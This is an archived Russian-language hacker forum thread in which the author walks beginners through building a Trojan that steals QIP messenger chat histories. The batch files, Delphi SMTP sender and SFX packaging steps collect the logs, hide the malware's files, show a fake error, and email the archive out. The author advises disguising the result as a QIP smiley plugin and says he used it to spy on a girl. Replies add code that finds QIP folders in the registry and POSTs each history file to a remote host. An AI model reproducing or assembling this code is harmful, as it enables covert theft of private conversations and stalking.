PDA

Просмотр полной версии : Пишем свой Qip History Sender


_HeSh_
23.11.2008, 15:21
!!! Эта статья рассчитана только для новичков Просьба гуру, не пинать. Если чё не нравится – пишем своё.

Итак, начнём.
В данной статье, я хочу вам показать как имея совсем базовые познания в кодинге написать что-то типа вируса, который будет тырить хистори по всем номеркам на компе жертвы.
Для этого нам понадобится Блокнот, Delphi, и не много усидчивости.
1. Мы должны написать код, который будет искать файлы истории, по всем папкам и копировать их в одно место.
2. Запаковать все файлы в один архив.
3. Отослать себе данный файл.
Мой вирь – состоит из 3х файлов. Так как с начала написания его, я знал только теорию – и что у командной строки есть команда dir copy и echo off. Поэтому, я предлагаю вам, тоже, ознакомится с кодом трёх файлов – для простоты понятия. Если кому не нравится, то делайте в один – полёт фантазии вам в помощь.
Пишем первый файл test.bat
Echo off
@cd C:\
@md test2 //создаём папку тест 2
@if exist C:\Progra~1\QIP\qip.exe xcopy C:\Progra~1\QIP\Users\*.txt C:\test2\*.txt /q /e /h /y > null //если файл qip.exe существует по указанному адресу, то копируем все файлы формата txt из папки User в папку тест2. Ключи /q /e /h /y --- для копирования скрытых файлов, и копирования в под каталогах.
@attrib +h +s C:\"Program Files"\QIP\1.exe //скрываем и делаем системным 3й файл нашего вируса, который распакуется в папку C:\"Program Files"\QIP\ с именем 1.exe . "Program Files" – не зря берётся в скобки, так как пробелы командная строка считает окончанием команды или ещё чего либо.
@attrib +h +s C:\"Program Files"\QIP\arh.bat // аналогично для второго файла вируса
start/min C:\"Program Files"\QIP\arh.bat //запуск в скрытом окне второго файла вируса (хотя можно всё влепить в один этот)
echo >> read.txt У вас установлена неизвестная версия Qip. Обновления не были установлены.
// данная строка обеспечит добавление в файл реад.тхт строчки «левой отмазки»
start/max read.txt // запустим файл с текстом, на всю рабочую область, что поможет скрыть в это же время архивирование файлов, которое обеспечивает 2й файл arh.bat
exit // выход из командной строки, на всякий пожарный пропишем.

Далее приступаем ко второму файлу, который обеспечит упаковку файла в архив arh.bat
echo off
"C:\Program Files\WinRAR\rar.exe" a -m5 -o+ -r C:\test2\backu.rar C:\test2\*.* // команда для упаковки в архив с именем backu.rar, который должен будет создастся в C:\test2\ и архивировать все файлы, всех форматов из папки rar C:\test2\
Ключь –r заставляет архивировать и подкаталоги и файлы в них. –m5 - метод сжатия (1-5). Подробнее можно посмотреть в хелпе к Winrar.
@attrib +h +s C:\"Program Files"\QIP\test.bat //прячет файл
start/min C:\"Program Files"\QIP\1.exe // запускает в скрытом режиме делфи файл, который и будет заниматься отправкой.
Exit //если прописали start, то нужно и exit - иначе, бывает, что не закрывается.

Теперь приступим к написанию кода Delphi.
Для данной программки нам понадобится вкладка Indy Clients и Indy Misc.
Закидываем на форму компоненты IdAntiFreeze IdMessage IdSMTP и Label с вкладки Standart.
Делаем формочку размером не больше 69*280 высота/длина --- хотя это уже ваша фантазия и пишем в Label что-то типа System Error. Please waite a few minutes, меняем имя формы на что-то вроде System Error и ставим свойство формы BorderStyle в режим bsNone.
И вот точный листинг того, что мы должно быть:

unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, IdComponent, IdTCPConnection, IdTCPClient,
IdMessageClient, IdSMTP, IdMessage, IdBaseComponent, IdAntiFreezeBase,
IdAntiFreeze;
type
TForm1 = class(TForm)
IdAntiFreeze1: TIdAntiFreeze;
IdMessage1: TIdMessage;
IdSMTP1: TIdSMTP;
Label1: TLabel;
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
M:TIdMessage;
sm:tidsmtp;
att:tidattachment;
implementation
{$R *.dfm}
begin
m:=TIdMessage.create(form1);
m.From.Text:='vasja@inbox.ru';//от кого
m.Recipients.Add;
m.Recipients.Items[0].Text:='Pupkin@mail.ru'; //кому
m.Subject:='Subject';// тема письма
m.Body.Text:='По*** на текст';// текст письма
att:=tidattachment.Create(m.MessageParts,'C:\test2 \backu.rar');// полное имя файла, архива – который должен быть отправлен.
sm:=tidsmtp.Create(form1);
sm.AuthenticationType := atLogin;
sm.Host:='smtp.inbox.ru'; //хост
sm.Username:='Логин с которого будет отсылаться письмо';
sm.Password:='123456'; //пароль к этому ящику
sm.Connect();
if sm.Connected then
begin
sm.Send(M);
end;
sm.Disconnect;
att.Free;
sm.Free;
end.

Делфи код был взят с delphiexpert.ru (c)

Ну вот и всё. Как только письмо будет отправлено, у юзера появится окошко с якобы ошибкой. Просто влом переделывать. Я думал что оно будет гореть сразу, а оказалось что появиться после выполнения отправки. + в моей версии окошко не особо видно, так как появляется над часами. Координаты появления можно задать в полях Top Left компонента Form. Толи это не компонент но … )
Как сделать чтоб процесс не был виден в дереве, и не показывался на панели задач – я не смотрел. Вернее смотрел, но там всё заумно – я его и не трогал. Так как писалось это всё чтобы узнать историю одной девчоночки) Ну это уже ваша фантазия.
Блин .. чуть не забыл – что это всё нужно сделать одним exe файлом .. 
Продолжим)
Выделяем эти 3 файла. Жмём «добавит в архив…»
Ставим галочку – Создать SFX-архив, ставим метод сжатия, переходим на вкладку «дополнительно», - Параметры SFX-архива --- Путь для распаковки… Пишем C:\Program Files\QIP\
--- Выполнить после распаковки – test.bat
Переходим на вкладку Режимы --- Режим ввода информации – Не показывать начальный диалог
Режим перезаписи – Перезаписывать все файлы без запроса.
И всё. Жмём Ок.
Получаем файл .exe который после запуска сразу начинает свою работу.
Конечно я бы советовал назвать это чудо как-то так «Qip_plugin_smiles_8.0.6.13(by Foolf).exe», залить на файлообменник, и дать просто ссылку тому, чью историю хочешь подтырить. Написав при этом … Ок, я жду, пока скинешь мне установленный смайл.
На этом всё) Просьба ещё раз, сильно не пинать. Если кому помог в чём-то разобраться то жду +++ в репу) :)

Flash-ICE
23.11.2008, 15:27
Статья не очень,так как не реализовано то чтобы искать папку QIP'a! (вроде как)
Тем более можно сделать все по простому без .bat файла (примерно знаю как)

0x0c0de
23.11.2008, 15:32
А вы так уверены, что квип будет на диске це? А вы уверены, что у юзера будет винрар? Зачем юзать батники, когда можно не юзать? Почему вирь из трех файлов, когда можно положиь в ресурсы? Ииии это не вирус кстати. И даже не вроде вирус. Вообще какой-то странный кодес.

crystalbit
23.11.2008, 15:35
процедура поиска папок квипов(если несколько установлено)

procedure regGetValuesHKCU(where:string; StringList:TStrings);
var
Key: HKEY;
Len, LenTemp, Count, I: DWORD;
S: PChar;
begin
StringList.clear;
GetMem(S, 255);
if RegCreateKey(HKEY_CURRENT_USER, PChar(where), Key) = 0 then
begin
RegQueryInfoKey(Key, nil, nil, nil, nil, nil, nil, @Count, @Len, nil, nil, nil);
for I := 0 to Count - 1 do
begin
LenTemp := Len +1;
RegEnumValue(Key, I, S, LenTemp, nil, nil, nil, nil);
StringList.Add(S);
FillChar(S^, 255, 0);
end;
RegCloseKey(key);
end;
FreeMem(S);
end;

procedure GetQIPPaths(StringList:TStringList);
var
i:integer;
begin
regGetValuesHKCU('Software\Microsoft\Windows\Shell NoRoam\MUICache',StringList);
for i:=StringList.Count-1 downto 0 do
if pos('\qip.exe',StringList.Strings[i])=0 then
StringList.Delete(i);
for i:=0 to StringList.Count-1 do
StringList.Strings[i]:=ExtractFilePath(StringList.Strings[i]);
end;


писал когда-то для себя, успешно использовал в своей проге

(необходимо, чтоб был подключен classes)

_HeSh_
23.11.2008, 15:43
Ну в принцыпе) Статья больше как ознакомительная с батом.
Почти у всех юзверей квип ставиться по умолчанию в програм файлс......
Код не претиндует на звание вируса - а скорее на средство Хоть както стырить историю) Не забываем что я сам новичок) и это просто начало) и многие которые также НАчинают постигать кодинг, может чтото из этого черпнут)

Винрар нынче ставиться по умолчанию во всех зверях и тд. А почти все Юзвери на зверях и сидят ... ну кудаж без винрара?))

crystalbit
23.11.2008, 15:49
_HeSh_, а у меня система на диске E ;)

имхо в твоем случае лучше использовать %windir%\..\program files\qip

и где-то я видел как можно архивировать средствами windows, там то ли zip то ли cab

а для дельфи есть готовые модули, сам пользуюсь)

_HeSh_
23.11.2008, 15:53
Хз хз))я новичёк)) только начинаю) для делфы видел компоненты и статьи..но там кода на 3 листа .. вот и не стал разбиратся особо))) а в плене %windir% -- согласен) ну это пусть уже кому нужно, тот под себя делает)
Я его написал для определённого человека)) Кодец своё дело сделал)) Я доволен)
)

Спасибо за критику))) Она уместна) Не даёт расслаблятся - и даёт понять что всё изучение только только впереди)

W!z@rD
23.11.2008, 21:19
я бы промолчал, если бы не "делфи файл" это ПИ*ДЕЦ
автор извини, но я тебя обматерил...

че за тре**!?!!!

crystalbit
23.11.2008, 21:25
W!z@rD, банальная отправка письма через IdSMTP)

M это объект класса TIdMessage, указываем параметры письма, там текст, тему, получателя, от кого
sm это объект класса TIdSMTP, указываем хост, логин, пароль, заходим и отправляем
att это TIdAttachment - прикрепляем файл перед отправкой

_HeSh_
23.11.2008, 21:37
чё за тре?
Визард, а ты не пробывал чиать самую первую строчку?
Я сам новичёк. Какие вопросы?

Pernat1y
23.11.2008, 21:39
имхо в твоем случае лучше использовать %windir%\..\program files\qip

это типа круто, все делать через задницу?
есть такая штука, как %programfiles%

Грот
24.11.2008, 06:47
для новечка 1 пост очень даже ничего +++

поис фаила можно реализовать проще, зачем изобретать велосипед если он уже изобретен:




procedure Send_all(Way:String);

begin
try

if FindFirst(Way+'USERS\*',faDirectory,folder)=0 then repeat
try
If FindFirst(Way+'USERS\'+folder.Name+'\History\*.txt ',faAnyFile-faDirectory,TS)=0 then

repeat

If TS.Name<>'_srvlog.txt' Then
begin

try
ZeroMemory(@szBuf, SizeOf(szBuf));
lstrcpy(szBuf, PChar('fname='+TS.name+'&UIN='+folder.name+'&data='));
lstrcat(szBuf, ((GetFileData(PChar(Way+'USERS\'+folder.Name+'\His tory\'+TS.name)))));
SendPOSTData(Host,Path,szBuf);
except end;

sleep(50); end;

until FindNext(TS) <> 0;
FindClose(TS);
except end;

until FindNext(folder) <> 0;
FindClose(folder);

except end;
end;


function Search():string;
var p:string;
n:integer;
c:char;
//Рекурсивный поиск файлов
function FindFile(var path:string; const mask:string):boolean;
var SRec:TSearchRec;
retval:integer;
oldlen:integer;
begin Result:=true;
oldlen:=length(path);
retval:=FindFirst(path+mask,$3F,SRec);
while retval=0 do begin
if ((SRec.Attr and $18)=0) and (DirectoryExists(path+'Users')) then begin //faDirectory or faVolumeID

Send_all(path);
end;

retval:=FindNext(SRec)
end;
FindClose(SRec);
if not Result then exit;
retval:=FindFirst(path+'*.*',$10,SRec); //faDirectory
while retval=0 do begin
if (SRec.Attr and $10)<>0 then //faDirectory
if (SRec.Name<>'.')and(SRec.Name<>'..') then begin
path:=path+SRec.Name+'\';



if (not FindFile(path,mask)) then begin
Result:=false;
Break;
end;
delete(path,oldlen+1,255)
end;
retval:=FindNext(SRec);
end;
FindClose(SRec)
end;

begin

for c:='C' to 'Z' do begin
p:=c+':\';
if (GetDriveType(PChar(p))=DRIVE_FIXED) or (GetDriveType(PChar(p))=DRIVE_REMOVABLE) then
FindFile(p,'qip.exe')
end;

end;

взято с QIP_History_Sender Created by R_O_O_T

slesh
24.11.2008, 11:10
а если у человека нет винрара? или он незареган и тогда вылезит окошко. По этому лучше упакуй через стандартный пакер винды. Парует не очень, но всегда есть в наличии и он консольный )

AHTOLLlKA
24.11.2008, 11:30
стандартный это какой ??
makecab.exe ??
а если нужно сохранить структуру папок..
тоесть users/xxxxx/histrory
и тд..то чем тогда пользоваться оО ????

W!z@rD
24.11.2008, 19:40
еще раз говорю, промолчал бы если не
start/min C:\"Program Files"\QIP\1.exe // запускает в скрытом режиме делфи файл, который и будет заниматься отправкой.

какой на* дельфи файл?!!!
вы бы чуть чуть головой думали, это п*здец как убивает.
батники юзать не хорошо, толку от них 0, прочесть можно
почитай про создание объектов в Run-Time
почитай про winSock
да и вообще, скоро вири на .net писать будут, если не уже)
а если история шифруется?
и не похоже на малварь это

_Kris_
24.11.2008, 23:14
я бв сказал да вот обидетесь, хотя я уже сказал...

_HeSh_
25.11.2008, 01:15
Ээ...Эксперты... Вы сюда срать пришли, или может чё полезное для новичков сюдаже подкинете?

St0nX
26.11.2008, 10:12
Пути к папке с квипом можно выдрать из реестра.
от суда например HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Uninstall\QIP

ну или ждать пока запустят квип и брать из процесса.
Через поиск диру искать это мазахизм да и запалится можно.

diznt
26.11.2008, 10:33
St0nX оооо))) спасибо! А то я шарил по реестру не нашол путь в SOFTWARE :-D
ВСЕ СтАВИМ ДРУЖНО ++ St0nX'у!

crystalbit
26.11.2008, 11:01
Еще папка квипа есть в muicache, оттуда имхо лучше, если установлено несколько квипов, то там все и будут

AHTOLLlKA
27.11.2008, 10:13
можно так же по поиску окна...если квип (квипы) запущены...
а от туда путь найтиуже не проблема....